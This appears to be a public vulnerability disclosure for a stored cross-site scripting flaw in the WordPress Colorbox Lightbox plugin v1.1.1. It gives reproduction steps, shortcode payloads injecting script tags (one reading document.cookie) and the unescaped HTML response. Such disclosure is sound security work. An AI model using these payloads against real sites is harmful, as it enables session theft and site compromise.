# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)# Date: 10.8.2020.# Exploit Author: n1x_ [MS-WEB]# Software Homepage: https://wordpress.org/plugins/wp-colorbox/# Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip # Product Version: 1.1.1[Description]# WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library. # Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.[Proof of Concept]# 1. Authorization as user with privileges to write and publish posts# 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post# 3. The code is stored on the post[Example payloads]# Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]# Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"][Response]...
<a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
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